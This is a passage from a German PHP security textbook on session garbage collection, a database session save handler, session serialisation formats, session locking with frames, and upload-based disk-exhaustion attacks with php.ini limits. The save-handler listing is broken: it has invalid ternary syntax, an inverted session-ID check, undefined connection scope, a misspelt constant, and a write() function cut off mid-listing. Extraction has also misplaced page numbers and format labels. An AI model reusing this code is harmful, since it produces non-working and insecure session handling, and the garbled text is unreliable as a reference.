von 1%. Das bedeutet: Innerhalb von 100 Session-Initialisierungen wird einmal aufgeräumt. Dabei erfolgt der Aufruf zufällig, also nicht etwa jedes 100. Mal – sondern innerhalb von 100 Initialisierungen einmalig. Man kann nun allerdings leicht in Versuchung geraten, entweder gar keine Funktion session_destroy() anzumelden oder darin die Session lediglich nur auf irgendeine Weise (etwa mit einem bool-Wert innerhalb einer Datenbank) als ungültig zu markieren, so dass die Sitzung von read() nicht mehr gelesen wird. Dies hat allerdings mehrere gravierende Nachteile. Zum Einen soll session_destroy() eine Session sofort und unverzüglich zerstören, sie soll die Gewissheit geben: Die Daten dieser Sitzung sind nicht mehr vorhanden. gc() hingegen soll nur Sitzungsdaten löschen, die ihr »Haltbarkeitsdatum« überschritten haben. Sicherlich kann man seine eigene Implementierung so anlegen, dass auch vorher als ungültig markierte Daten gelöscht werden. Jedoch wird gc() nun einmal eher zufällig aufgerufen, es ist also nie sicher, wie lange eine Session noch auf dem jeweiligen Speichermedium vorhanden ist, bis sie durch gc() gelöscht wird. Und es gilt weiterhin: Je länger eine Sitzung vorhanden ist, desto wahrscheinlicher wird es, dass ein Angreifer an die Daten dieser Session gelangt. Dies mag durch einen read()-Zugriff abgesichert sein, doch es kann durchaus sein, dass ein Angreifer nicht das Session-Management attackiert, sondern auf direktem Wege auf das Speichermedium – also etwa die Datenbank – zugreifen kann; in dieser Situation ist es am besten, wenn so wenig Daten wie möglich vorgehalten werden. Hinzu kommt auch eine gewisse Fairness gegenüber dem Benutzer: Wenn er sich beispielsweise ausloggt und somit eine Sitzung beendet, geht er davon aus, dass die damit verbundenen Daten nicht mehr zwischengespeichert werden – ganz abgesehen davon, dass es Datenschutzregelungen gibt, die verlangen, Daten nur so lange vorzuhalten, wie dies unbedingt notwendig ist. Noch eine Kleinigkeit zum Thema Garbage Collection ganz unabhängig von einer eigenen Implementierung: Der übergebene $maxlifetime-Wert entspricht immer dem aktuellen Wert, der in verschiedenen Skripten durchaus unterschiedlich sein kann, da er pro Skript mit ini_set() oder für ein Verzeichnis mit Techniken wie .htaccess und php_value unabhängig zur php.ini verändert werden kann (denkbar ist auch, dass Skripte in PHP-Umgebungen gestartet werden, die verschiedene php.ini-Dateien laden, aber die Sessions im gleichen Verzeichnis ablegen). Dies hat zur Folge, dass immer das Skript mit dem kleinsten Wert die Sessions löscht, sofern es durch den Zufallsfaktor und die errechnete Wahrscheinlichkeit zum Zuge kommt. Der Vollständigkeit halber noch eine Implementierung eines benutzerdefinierten Save-Handlers, der Sessions in einer Datenbank ablegt:
171
Kapitel 5 Sessions
function checkID($id) { $pattern = ""; switch(ini_get("session.hash_bits_per_character")) { case "4": $pattern = "/^[a-f0-9]+$/"; break; case "5": $pattern = "/^[a-v0-9]+$/"; break; case 6: $pattern = "/^[a-zA-Z0-9\-,]+$/"; break; default: syslog(LOG_ERR, "Check: session.hash_bits_per_character is invalid, " . ini_get("session.hash_bits_per_character")); return false; } if ($pattern != "" && preg_match($pattern, $id)) { syslog(LOG_ERR, "Check: Invalid ID ($id) does not match against pattern ". ($pattern)"); return false; } else return true; } function open($save_path, $session_name) { openlog("PHP::Sessionmanagment", LOG_ODELAY); try { $strings = explode("|", $save_path); $pdostr = (count($strings)>0?$strings[0], ""); $user = (count($strings)>1?$strings[1], ""); $pass = (count($strings)>2?$strings[2], ""); $object_pdo = new PDO($save_path, $user, $pass, array(PDO::ATTR_PERSISTENT => true)); } catch (PDOException $e) { syslog(LOG_ERR, "PDOException: " . $e ->getMessage); return false;
172
5.5 Speicherung
} return true; } function close() { $object_pdo = null; closelog(); return true; } function read($id) { if(checkID($id)==false) die("Internal error!"); $statement_pdo = $object_pdo->query("SELECT data FROM sessions where id = ". $object_pdo->quote($id)); if($statement_pdo == false) { syslog(LOG_ERRO, "PDO: Error while reading."); die("Internal error!"); } if($row = $statement_pdo->fetch(PDO::fetch_assoc)) { $statement_pdo->closeCursor(); if(ini_get("session.serialize_handler")=="php") { if(unserialize($row["data"])!=false && is_array(unserialize($row["data"]))) return $row["data"]; else { syslog(LOG_ERR, "Deserialize: Error while deserialize php-format"); die ("Internal error!"); } } else if(ini_get("session.serialize_handler")=="wddx") { if(wddx_deserialize($row["data"])!=false && is_array(wddx_deserialize($row["data"]))) return $row["data"]; else { syslog(LOG_ERR, "Deserialize: Error while deserialize wddx-format"); die ("Internal error!"); } } else
", change_time= ".$object_pdo->quote(mktime())); return ($count==1); } function destroy($id) { if(checkID($id)==false) die("Internal error!"); $count = $object_pdo->exec("DELETE FROM sessions WHERE id=". $object_pdo->quote($id)); return ($count==1); } function gc($maxlifetime) { if(intval($maxlifetime)>0) { $count = $object_pdo->exec("DELETE FROM sessions where change_time + ".intval($maxlifetime)."< ".$object_pdo->quote(mktime())); return ($count!==false); } return false; } session_set_save_handler("open", "close", "read", "write", "destroy", "gc"); ?>
Listing 5.8:
174
Benutzerdefinierter Session-Save-Handler
5.5 Speicherung
Dieser Code ist mit PDO für die Verwendung mit verschiedenen Datenbank ausgelegt; die eingesetzte Datenbank muss lediglich mit der verwendeten Syntax der SQL-Befehle REPLACE INTO, SELECT und DELETE klarkommen. Bei der Garbage Collection wurde mit Absicht auf die Zeitfunktionen der Datenbank verzichtet, da diese sich je nach Hersteller mehr oder weniger stark unterscheiden. Die Konfiguration erfolgt dabei ausschließlich über die Konfigurationsdirektive session.save_path, die die PDO-Verbindungsinformationen enthalten muss. Zusätzlich und jeweils durch einen senkrechten Strich eingeleitet werden noch der Benutzername und das zu verwendende Passwort übergeben. Ein möglicher Wert für eine MySQL-Datenbank auf dem lokalen System: session.save_path="mysql:host=localhost;dbname=sessions|sessionuser|abc5489g@sd"
Hinweis Dieser Wert muss unbedingt in Anführungszeichen gesetzt werden, da ein Strichpunkt innerhalb der php.ini einen Kommentar einleitet! Bei diesem System wurde allerdings der Einfachheit halber noch auf die Sperre des Zugriffs verzichtet, so ist es nun theoretisch möglich, dass die gleiche Session parallel geladen werden kann – dies wiederum kann zu Datenverlust führen (siehe Abschnitt 5.6 Sessions und Frames auf Seite 181), dies ließe sich allerdings mit entsprechenden Sperrmechanismen innerhalb der Datenbank lösen.
Hinweis Informationen zu den möglichen Datenformaten der Session-Daten entnehmen Sie bitte den folgenden Abschnitten. Zum Code: Eines der Kernfeatures ist die Funktion checkID(), die auf Basis der session.hash_bits_per_character-Einstellung mit regulären Ausdrücken prüft, ob die übergebene ID zu dem zulässigen Muster passt (bei einem Wert 4 sollte eine Session-ID etwa kein Z enthalten). Diese Funktion wird beim Lesen und Speichern der Session-Daten verwendet, so soll verhindert werden, dass »illegale« Sitzungen möglich sind. Die hier implementierte Funktion open() versucht lediglich eine PDO-Verbindung aufzubauen, da diese Funktion sowieso nur global und ohne Session-Bezug von PHP aufgerufen wird. close() schließt die Verbindung wieder, indem die Referenz der PDO-Instanz auf Null zurückgesetzt wird. Anschließend wird noch die Verbindung zum Systemprotokoll (in das mittels syslog() geschrieben wird) geschlossen. Richtig interessant wird es beim Lesen der Session-Daten aus der Datenbank, denn dabei wird deserialisiert. Dies geschieht dabei abhängig davon, welche Serialisierung momentan konfiguriert ist, weshalb
175
Kapitel 5 Sessions
diese Einstellung keinesfalls im laufenden Betrieb geändert werden sollte (das Lesen der Session-Daten würde schlichtweg ungültige Daten liefern). Wenn Sie also die Serialisierungsmethode ändern, sollten Sie unbedingt alle gespeicherten Sessions aus der Datenbank löschen. write() speichert die Daten entsprechend in die Datenbank, beachten Sie dabei, dass write() die Daten bereits serialisiert erhält. destroy() löscht die angegebene Sitzung sofort aus der Datenbank, während gc() alle Sitzungen löscht, die veraltet sind. Serialisierungsformat
In welchem Format werden denn nun die Sitzungsdaten von PHP überhaupt gespeichert und wieder geladen? Immerhin gibt es ja keine feste Struktur, denn die Felder innerhalb des $_SESSION-Arrays sind flexibel – es gibt keine Vorgabe, welche Felder darin enthalten sein dürfen und wie diese benannt werden (ein PHPEntwickler darf glücklicherweise Daten hinzufügen, wie er möchte). Um dennoch die Daten so wiederherstellen zu können, wie sie auch abgespeichert wurden, nutzt PHP eine Technik, die Serialisierung genannt wird. Dabei werden neben den tatsächlichen Werten auch Informationen über die Schlüssel und den Datentyp abgespeichert, so dass bei einer Wiederherstellung das Array in seiner ursprünglichen Konfiguration wiederhergestellt werden kann. Dabei kann PHP in Bezug auf Sessions mit drei verschiedenen Formaten umgehen, die über die Option session.serialize_handler aktiviert werden: (Standardeinstellung) ist dabei das Standardformat, das die Daten des Session-Arrays einfach in einem String unterbringt, die einzelnen Schlüssel-WertPaare werden dabei durch ein Semikolon voneinander getrennt. Dieses Format wird auch von den serialize()- und unserialize()-Funktionen verwendet.
쐽 php
ist eine Variante von php und leider vollkommen undokumentiert. Es scheint allerdings auch für die eigene Verwendung nicht sehr geeignet, da es etwa das Steuerzeichen | entfernt und somit sowohl den Variablennamen als auch den Typ direkt hintereinander schreibt. Dies lässt zwar die Daten noch einmal etwas schrumpfen, jedoch macht es eine Verarbeitung noch komplizierter.
쐽 php_binary
ist ein XML-Format, das die Daten in XML-Elementen speichert. WDDX steht dabei für Web Distributed Exchange und wird neben PHP auch in anderen Sprachen unterstützt. Bedingt durch das XML-Format eignen sich diese Daten also auch zur Übertragung auf andere Systeme; PHP kann Daten etwa mit den Funktionen wddx_serialize() und wddx_unserialize() serialisieren und deserialisieren.
쐽 wddx
WDDX lässt sich dabei allerdings nur nutzen, sofern die WDDX-Unterstützung in PHP integriert wurde (beachten Sie hierzu die Hinweise im Abschnitt WDDXSerialisierung auf Seite 179). Ist dies der Fall, lässt sich der verwendete Mechanismus jederzeit ändern, allerdings sollten nach einer solchen Änderung alle zwi-
176
5.5 Speicherung
schengespeicherten Sitzungen gelöscht werden. Wird also der Save-Handler files verwendet, sollten alle Sitzungsdateien im session.save_path gelöscht werden, bei mm als Speichermethode reicht ein Neustart des Webservers aus (dieser sollte nach einer Konfigurationsänderung generell geschehen1) und bei einem eigenen Save-Handler (user, siehe Abschnitt 5.5.3 user auf Seite 168) müssen natürlich die Daten innerhalb der eigenen Datenquelle (also etwa der Datenbank) gelöscht werden. PHP speichert nicht, unter welchem Format die Seriailisierung erfolgt und es ist auch keine automatische Erkennung der eingelesenen Daten vorgesehen: Ändern Sie also das Format von php auf wddx, wird PHP versuchen bestehende Daten mittels WDDX zu deserialisieren, dies wird natürlich nicht funktionieren, da das Format einfach nicht zu WDDX passt. Dies hat zwar keine dramatischen Auswirkungen – die Deserialisierung schlägt fehl und es wird eine Sitzung ohne Daten (also mit einem leeren $_SESSION-Array) zurückgegeben – sicherer ist es jedoch, diese Daten vorher zu löschen. Natürlich ist es auch möglich, in einem user-Save-Handler ein vollkommen eigenes Format zu verwenden. Speichern Sie etwa in eine Datenbank, wäre es durchaus denkbar, dass Sie die Session-Werte getrennt von der Session-ID in einer eigenen Tabelle speichern möchten. Allerdings ist es nicht möglich, über PHPFunktionen einen eigenen Serialisierungsmechanismus zu definieren, der dann von PHP automatisiert verwendet werden kann. Um solch ein Vorgehen zu realisieren, müssen die an die write()-Funktion (siehe Abschnitt 5.5.3 user auf Seite 168) gelieferten Daten deserialisiert werden (dazu muss natürlich die richtige Deserialisierungsfunktion verwendet werden, die sich aus der Einstellung von session.serialize_handler ergibt). Das zurückgelieferte Array kann dann natürlich für die eigenen Speicherzwecke verwendet werden (eine Anpassung der Funktion read() ist dann natürlich auch erforderlich). Übrigens: Nicht nur Sitzungsdaten können über diese zwei Techniken (hier sind php und wddx gemeint, für php_binary stehen keine Funktionen zur Verfügung)
serialisiert werden, sie können damit auch eigene Daten »kodieren«, um sie etwa an andere Systeme zu übertragen. PHP-Serialisierung.Das Standardformat zur Serialisierung von Daten unter PHP ist ein eigenes, bei dem die Daten der jeweiligen Variablen mit insgesamt drei Steuerzeichen in einem String aneinander gehangen werden. Die Steuerzeichen, die PHP dabei verwendet, sind: 쐽 ; – trennt die einzelnen Schlüssel-Wert-Paare voneinander 쐽 | – trennt den Namen des Elements vom Datenteil
– trennt den Datentyp (der durch einen einzelnen Buchstaben repräsentiert wird) von den Daten
쐽 :
1
Ausnahme: PHP wird als CGI-Modul betrieben – dann wird für jeden Aufruf ein neuer PHPProzess erzeugt und somit die Konfiguration »frisch« eingelesen.
177
Kapitel 5 Sessions
Hinweis Dieses Format bezieht sich nur auf die Session-Serialisierung, die auch perfekt mittels deserialize() deserialisiert werden kann. Wenn Sie jedoch ein Array wie $_SESSION an serialize() übergeben, wird sich die Ausgabe geringfügig von dem Unterscheiden, was von PHP an die write()-Funktion des Save-Handlers übergeben wird. Die serialisierte Form der Sitzungsdaten könnte etwa so aussehen: ssip|s:13:"66.249.72.231";old_time|i:1176407353;new_time|i:1176407353;ur l_ak|s:104:"%2Fwbboard%2Fmembers.php%3Fmode%3Dprofile%26userid%3D7%26boa rdid%3D28%26sid%3D6d1rrgs2rm9mqm8l1taqf9rai1";url_jump|s:91:"members.php %3Fmode%3Dprofile%26userid%3D7%26boardid%3D28%26sid%3D6d1rrgs2rm9mqm8l1t aqf9rai1";
Diese Daten haben einen kleinen Vorteil: Sie kommen ohne viel Overhead aus – es gibt also keine unnötigen Daten, die das Format selbst beschreiben (im Gegensatz zu WDDX, bei dem durch den XML-Dialekt natürlich einiges an Daten hinzukommt). PHP ist hier sehr pragmatisch, denn bereits die Datentypen werden nur mit einem einzelnen Buchstaben bezeichnet (man findet also im serialisierten String keinesfalls int oder integer sondern lediglich i zur Markierung eines Werts vom Typ Integer). Solange es nicht notwendig ist, diese Daten zu ändern oder aufzuteilen, ist dieses Format ideal, da es eben sehr platzsparend ist und die Deserialisierung automatisiert durch PHP erfolgen kann, es ist also auch bei einem eigenen PHP-Session-Save-Handler kein Aufwand durch den Entwickler notwendig. Ist es allerdings notwendig, die Daten in irgendeiner Form vorzuverarbeiten – weil sie etwa in einer anderen Form gespeichert werden sollen – ist der session.serialize_handler php verhältnismäßig unpraktisch. Theoretisch lässt sich die Zeichenkette zwar mittels explode()- oder preg_ split()-Aufrufen entsprechend »aufdröseln« jedoch ist dies relativ umständlich. Denn ganz so einfach, wie es im Beispiel aussieht, ist das Format dann doch nicht:
178
쐽
Handelt es sich um einen String-Wert, so folgt der Datentypangabe s nicht gleich der Wert, sondern zuerst die Länge der Zeichenkette – Wert und Länge werden dabei jeweils durch einen Doppelpunkt terminiert.
쐽
Innerhalb von Variablennamen sind keine Senkrechtstriche möglich – wählen Sie Variablennamen, die diese Sonderzeichen enthalten, so wird PHP der write()-Funktion des Save-Handlers eine leere Zeichenkette für die Daten übergeben (deshalb erzeugt der files-Handler auch eine leere Sitzungsdatei). Ein Doppelpunkt innerhalb eines Bezeichners ist hingegen zulässig. Benennen Sie also einen Index innerhalb des $_SESSION-Arrays mit int_value: count und belegen ihn mit dem Wert 100, so erhalten Sie dies serialisiert als int_value:count|i:100.
5.5 Speicherung 쐽
Arrays werden mittels geschweifter Klammern notiert. Dabei folgt der Typangabe (a für Array) die Anzahl der enthaltenen Elemente. Die Indexbezeichner innerhalb eines Arrays werden im Gegensatz zu Namen auf der Wurzelebene in Anführungszeichen und als Datentyp String notiert. Eine Session mit einer Variablen tst_int und einem Array sub, das den Index tst_int2 enthält, hat also die serialisierte Form tst_int|i:100;sub:a:1{s:8:"tst_int2";i:400;};.
Ist also eine Verarbeitung der serialisierten Session-Daten in einem eigenen SaveHandler notwendig, so eignet sich das WDDX-Format mehr – da es sich um klar definiertes XML handelt, können die PHP-DOM-Funktionen benutzt werden. WDDX-Serialisierung WDDX ist ein Standardformat, für das es bereits Module für mehrere Programmiersprachen gibt. Dabei handelt es sich allerdings um keinen formalen Standard, sondern schlichtweg um eine gewisse Übereinkunft, mehr Informationen zu WDDX und den unterstützten Sprachen finden Sie auf der WDDX-Homepage http://www.wddx.org.
WDDX ist dabei ein XML-Dialekt, die serialisierten Daten werden also nicht wie im PHP-Format (siehe Abschnitt PHP-Serialisierung auf Seite 177) in einer kryptischen Zeichenkette hintereinander gehängt, sondern als wohlgeformtes XML-Element (das WDDX-Paket) zurückgegeben. Zu einem vollständigem XML-Dokument fehlt lediglich noch die -Deklaration. Durch das XML-Format lassen sich WDDXDaten natürlich um einiges leichter auslesen als die PHP-Serialisierungsdaten.
Hinweis Bei der XML-Verarbeitung kann es allerdings zu Performanceverlusten kommen: Die XML-Dateien müssen über einen Parser in das DOM (Document Object Model) eingelesen werden, damit man auf die darin enthaltenen Daten mit PHP zugreifen kann – dieses Parsen kostet natürlich Zeit. Ebenso nimmt auch die Datenmenge im Vergleich zum anderen Format erheblich zu. Ein solches WDDX-Paket, das also die gesamten serialisierten Daten repräsentiert, sieht in etwa so aus: <wddxPacket version=’1.0’><struct><string>66.249.72.23111764073531176407353<string>2Fwbboard%2Fmembers.php%3Fmode%3Dprofile%26userid%3D7% 26boardid%3D28%26sid%3D6d1rrgs2rm9mqm8l1taqf9rai1<string> members.php%3Fmode%3Dprofile%26userid%3D7%26boardid%3D28%26sid%3D6d1rrgs2rm 9mqm8l1taqf9rai1
179
Kapitel 5 Sessions
Diese Daten sind zwar länger, lassen sich jedoch relativ gut komprimieren. Allerdings ist eine Komprimierung von Sitzungsdaten auf einem System, das mit vielen Sessions »konfrontiert« wird, nicht empfehlenswert: Die Komprimierung und dadurch auch wieder notwendige Dekomprimierung kann sich zu einem Performanceproblem entwickeln. Die Aktivierung des WDDX-Formates ist relativ einfach: session.serialize_ handler muss dafür auf wddx gesetzt werden. Bedingung für die Funktion von WDDX unter PHP ist allerdings, das PHP mit WDDX-Unterstützung kompiliert wurde. Ob dies der Fall ist, lässt sich anhand der Ausgabe von phpinfo() erkennen: wddx sollte im Wert von Registered serializer handlers unterhalb von session enthalten sein. Übersetzen Sie PHP aus den Quellen selbst, ist es notwendig, configure den parameter --enable-wddx zu übergeben. Damit die Kompilierung funktioniert, ist es zudem erforderlich, dass der XML-Parser expat installiert ist (die Quellen dafür erhalten Sie unter http://sourceforge.net/projects/expat/).
Hinweis In den Binaries ist WDDX oftmals bereits aktiviert, die Windows-Binaries werden stets mit diesem Feature ausgeliefert. Allerdings sollte man auch Risiken bei der Verwendung dieses Formats bedenken. Grundsätzlich ist es egal, welches Format verwendet wurde, denn für die Speicherung spielt es keine Rolle. Entschließen Sie sich aber, über ihre eigenen read()und write()-Funktionen Session-Daten in Dateien abzulegen, kann dies problematisch sein: Vielleicht entschließen Sie sich, zum besseren Schutz diese Dateien zu verschlüsseln. Wird dabei ein symmetrisches Verfahren (für Ver- und Entschlüsselung wird das gleiche Passwort verwendet) wie etwa DES oder Blowfish verwendet, so kann sich ein Angreifer möglicherweise aus der Häufung der Tags var, string, number und name Rückschlüsse auf den Inhalt ziehen. Ist ihm das WDDXFormat zudem bekannt, kann er womöglich den Rest der Daten ohne Probleme entschlüsseln. WDDX bietet im Gegensatz zum PHP-Format auch einen Vorteil, der wiederum für das Session-Management genutzt werden kann. Wurde innerhalb der read()Funktion der WDDX-String einer Session ausgelesen, so kann mit wddx_serialize() geprüft werden, ob diese Zeichenkette ein gültiges WDDX-Paket darstellt. Bei dem PHP-eigenen Serialisierungsformat ist diese Überprüfung eher schwer, da unserialize() so seine Tücken hat (beispielsweise lässt sich der Rückgabewert FALSE für den Fehlerfall nicht vom Rückgabewert FALSE als Wertigkeit des deserialisierten Wertes unterscheiden, dies kann jedoch bei Sessions vernachlässigt werden, da hier auf jeden Fall ein Array deserialisiert werden muss). Auf kei-
180
5.6 Sessions und Frames
nen Fall sollte man jedoch read() und write() an einer Serialisierungsmethode »festmachen«, denn der Serialisierungs-Handler kann in der php.ini geändert werden, eine Prüfung, die von einem festen Wert ausgeht würde dann also scheitern. Möchte man also die Konformität der gelesenen oder erhaltenen Daten prüfen, sollte unbedingt der aktuelle Wert der Option session.serialize_handler berücksichtigt werden.
5.6
Sessions und Frames
Werden Frames verwendet, so kann es notwendig sein, dass mehrere Frames – oder vielmehr die PHP-Skripte, die in den jeweiligen Frames geladen werden – auf die aktuelle Session zugreifen. Im Allgemeinen funktioniert dies auch ohne Probleme, jedoch gibt es eine wesentliche Einschränkung. Wird das Standardspeichermodell benutzt, also Session-Daten werden durch PHP in Dateien abgelegt, so ist die jeweilige Datei nach einem session_start() so lange gesperrt, bis das jeweilige Skript beendet wird oder aber session_write_close() aufgerufen und die Session somit geschlossen wurde. Verwenden also Skripte zweier Frames die gleiche Session, so wird das zweite Skript erst dann effektiv ausgeführt, wenn die Session durch das andere Skript freigegeben wurde; dies trifft natürlich nicht ganz zu: Das Skript wird am session_start()-Aufruf blockiert, der Code vor dieser Funktion wird ausgeführt, da jedoch session_start() vor jeder Ausgabe erfolgen muss, steht diese Funktion meist am Anfang. Bei aktiviertem session.auto_start wird das zweite Skript natürlich vor Aufruf der ersten Codezeile unterbrochen. Dieses Vorgehen funktioniert allerdings nur dann korrekt, wenn das unterliegende Dateisystem Dateisperren voll und ganz unterstützt. Ist dies nicht der Fall, etwa beim alten FAT-16 und anderen sehr speziellen Dateisystemen, so kann es zu einem Parallelzugriff kommen. Dabei kann es durchaus passieren, dass beide Skripte zwar parallel auf die Session zugreifen können, jedoch eines der beiden Skripte keine Daten – also keinerlei Variablen innerhalb des $_SESSION-Arrays – erhält. Dies beeinflusst zum Einen natürlich das Verhalten dieses Skriptes, bedeutet jedoch auch, dass dieses Skript diese nicht existenten Daten speichert und somit alle in der Session zwischengespeicherten Werte verlorengehen. Dieses Problem lässt sich verhindern, indem entweder auf Frames verzichtet wird (wobei nicht nur Frames betroffen sind: Es könnten auch zwei per AJAX aufgerufene Skripte einen solchen Parallelzugriff verursachen). Aber auch parallele Zugriffe auf die gleiche Session aufgrund verschiedener Anfragen verursacht auf einem solchen Dateisystem dieses Problem, etwa wenn der Benutzer zwei verschiedene Seiten unterhalb der gleichen Session in zwei Browserfenstern lädt. Die Verwendung von mm als Speichermethode (siehe Abschnitt 5.5 Speicherung auf Seite 165) scheint eine Alternative zu sein, ist jedoch durchaus auch ein Risiko. mm
181
Kapitel 5 Sessions
garantiert definitiv nicht, dass ein paralleler Zugriff verhindert wird. Dabei werden zwar keine Daten zerstört, es kann jedoch zu Dateninkonsistenzen führen, wenn das erste Frame-Skript Änderung an der Session vorgenommen hat und speichert. Wurde währenddessen die Session jedoch durch ein anderes Skript geladen, bleiben die durchgeführten Änderungen dafür unbeachtet. Vielmehr gehen diese Änderungen wieder verloren, sobald das zweite Skript beendet und die Session mit dem alten Datenstand gespeichert wird. Falls dieses Problem auftritt, sollte überlegt werden, das Dateisystem für das Verzeichnis, in dem die Sitzungsdateien gespeichert werden, zu wechseln, eine Alternative ist lediglich noch ein eigener Save-Handler, bei dem etwa eine Sperre garantiert werden kann (etwa ein LOCK TABLES innerhalb einer Datenbankumgebung). Mehr zu einem benutzerdefinierten Speichern der Sessions erfahren Sie im Abschnitt 5.5 Speicherung auf Seite 165.
182
Kapitel 6
Upload und Download Immer mehr im Mittelpunkt von Webanwendungen – allen voran Portalen – steht der Austausch von Dateien. Sowohl Uploads als auch Downloads sind mit PHP relativ einfach möglich, werden jedoch Leichtsinnsfehler begangen, können auch hier ernsthafte Sicherheitslücken entstehen, die im schlimmsten Fall zum Ausfall des Webservers oder zum Diebstahl von sensitiven Daten führen können. Dieses Kapitel soll diese Problemquellen beleuchten und Lösungswege aufzeigen.
6.1
Upload und PHP
Ein HTML-Upload-Formular hat folgende Struktur:
Eines vorweg: Das Attribut maxlength des File-Feldes war im HTML-3.2-Standard aufgeführt, die Version 4.0 verliert jedoch darüber kein Wort mehr, es kann also auch nicht sicher davon ausgegangen werden, dass dieses Attribut in HTML-4.0bzw. XHTML-Dokumenten von allen Browsern berücksichtigt wird und somit der Browser nur Dateien bis zu dieser Größe zum Upload zulässt. Eine Validierung durch PHP ist also zwingend erforderlich. Doch auch hier entsteht schon ein Problem, denn diese Validierung kann erst nachgeordnet in einem Skript erfolgen, also nachdem die Datei bereits auf dem Server gespeichert ist. Angenommen, ein Angreifer möchte den Webserver mit einer Auslastung der Festplatte erreichen, so wird er beispielsweise eine Datei von 25 MB Dateigröße hochladen. In Ihrem Skript prüfen Sie jedoch die Dateigröße und begrenzen zulässige Dateien auf 10 MB. Allerdings wird PHP erst den Upload-Vorgang abschließen und anschließend Ihr Skript starten (anders wäre ein Zugriff auf die Datei ja auch gar nicht möglich). Auf der Server-Festplatte werden also erst einmal 25 MB belegt, die Prüfung verhindert die Weiterverarbeitung und die Datei wird wieder gelöscht. Dieser einzelne Vorgang stellt kein Problem dar; stehen dem Angreifer jedoch ein Netzwerk oder infizierte Rechner zur Verfügung, kann er einen verteilten Angriff starten: Wenn nun gleichfalls 100 Dateien mit der Größe von 25 MB hochgeladen
Kapitel 6 Upload und Download
werden, wird zuerst einmal der Webserver relativ stark ausgelastet, da nun einmal 100 Netzwerkverbindungen für die Dauer der Uploads belegt sind. In dieser Zeit wird der Server eventuell – je nach Hardware – andere, legitime Verbindungen nur zeitverzögert oder gar nicht annehmen. Auf der anderen Seite werden dann insgesamt 25 x 100 MB = 2500 MB Speicher auf der Festplatte belegt, bevor überhaupt ein Skript die Größe der Datei prüft. Wären nun auf dem Webserver lediglich 2000 MB freier Speicherplatz vorhanden, würde dieser voll belegt (nachfolgend würden alle bisher noch nicht vollständig erfolgten Uploads natürlich abgebrochen). Allerdings steht nun für den Server kein Speicherplatz mehr zur Verfügung: Es kann weder in eine Protokolldatei, noch in eine Datenbankdatei gespeichert werden. Nun gibt es zwei mögliche Konstellationen: 1. Vorübergehende Operationsproblematik: Ist genug Hauptspeicher vorhanden und es ist nicht erforderlich, dass das System zum Laden und Ausführen des Validierungsskripts anderen Arbeitsspeicher auf die Festplatte auslagert, kann das Skript nun die Dateigrößen prüfen und die weitere Verarbeitung verhindern. PHP wird nach Beendigung dieses Skripts jeweils die verbundene hochgeladene Datei löschen und der Speicher wird nach und nach wieder freigegeben. Aber: Während die Platte vollkommen ausgelastet ist, steht kein weiterer Platz zur Verfügung. Dies kann durchaus kritisch sein, wenn ein Datenbanksystem betrieben wird, das in diesem Moment einen Puffer auf die Platte schreiben möchte. Im Allgemeinen wird ein Datenbanksystem den Schreibvorgang auf später verschieben – in einer ungünstigen Konstellation sind jedoch die Daten verloren und die Datenbank danach in einem nicht konsistenten oder gar unbrauchbaren Zustand. Das betrifft natürlich nicht nur Datenbankprozesse, sondern auch alle anderen Programme, die auf die Festplatte schreiben möchten, während diese voll ist. 2. Permanente Operationsproblematik: Richtig problematisch wird es, wenn das Serversystem generell mit einer starken Arbeitsspeicherauslastung betrieben wird. Ist es zum Ausführen des Upload-Skripts und zum Laden des PHP-Interpreters – der nachher die temporär abgespeicherten Dateien löschen würde – notwendig, andere Dateien aus dem Arbeitsspeicher auszulagern, so kann dies aufgrund der vollen Festplatte nicht geschehen. Folglich werden die Dateien auch nicht gelöscht und die Festplatte bleibt voll. Dies führt natürlich bei allen anderen Prozessen des Servers zu schwerwiegenden Problemen, ein Speichern von Daten ist nicht mehr möglich. Der Webserver nimmt eventuell auch keine neuen Verbindungen mehr an (dies trifft dann zu, wenn es für einen neuen Webserver-Kind-Prozess notwendig wäre, andere Daten auf die Festplatte auszulagern). Im schlimmsten Fall führt dies zum Beispiel zu zerstörten Datenbanken und anderem Datenverlust.
184
6.1 Upload und PHP
Diese kritische Situation lässt sich nicht mit einer einzelnen Maßnahme beseitigen, viel mehr müssen verschiedene Methoden zusammen eingesetzt werden, um dieser Gefahr zu begegnen.
6.1.1
Uploads beschränken
Zuerst einmal sollte die maximale Dateigröße, die PHP für einen Upload akzeptiert, in der php.ini beschränkt werden. Hierfür kann die Direktive upload_max_filesize verwendet werden. Dateien werden von PHP lediglich bis zu dieser angegebenen Größe (Bytes) akzeptiert und auf dem Server gespeichert. Jedes Byte, das über diese Grenze hinaus geht, wird nicht mehr gespeichert, die entsprechende Netzwerkverbindung wird von PHP unterbrochen. Ist diese Grenze auf 1.000.000 Bytes gesetzt und eine Datei von 1.500.000 Bytes wird vom Client hochgeladen, so ist die Datei auf der Serverfestplatte nachher nur 1.000.000 Bytes groß und der Client hat zudem eine entsprechende Fehlermeldung erhalten.
Hinweis Beachten Sie unbedingt auch die Option post_max_size in der php.ini. Dieser Wert sollte stets etwas größer sein als upload_max_filesize. Für diesen Wert werden neben der Größe der hochgeladenen Datei auch die Daten der anderen per POST übermittelten Felder einbezogen, so dass die Menge an POST-Daten stets größer ist als die reine Dateigröße. Um die Upload-Funktionalität weiter einzuschränken und möglichen Schaden zu begrenzen, können noch folgende Einstellungen genutzt werden: 쐽 memory_limit:
Damit kann der maximale Speicherverbrauch eines Skriptes begrenzt werden, dies hat dann auch Einfluss auf Skripts, die Datei-Uploads verarbeiten, sofern dort die Dateien geöffnet und in den Speicher geladen (also ausgelesen) werden. Wird eine hochgeladene Datei lediglich verschoben, dann hat das Speicherlimit natürlich keinen Einfluss.
쐽 max_execution_time:
Die maximale Laufzeit eines Skriptes kann hier beschränkt werden. Die Zeit, in der die hochzuladende Datei vom Client zum Server übermittelt wird, zählt bereits zur Ausführungszeit des verarbeitenden Skriptes (das nachher die Datei in irgendeiner Weise verarbeitet). Eine restriktive Belegung dieser Option kann allerdings auch für legitime Clients mit einer langsamen Netzwerkanbindung Folgen haben: Diese benötigen generell länger, um eine Datei hochzuladen. Ist max_execution_time zu niedrig angesetzt, so kann es ein solcher Client unter Umständen nicht schaffen, eine gewünschte Datei hochzuladen.
All dies kann lediglich einen einzelnen Upload beschränken, doch wird hierdurch keinesfalls die Häufigkeit der Uploads begrenzt. Es nützt nur wenig, wenn die
185
Kapitel 6 Upload und Download
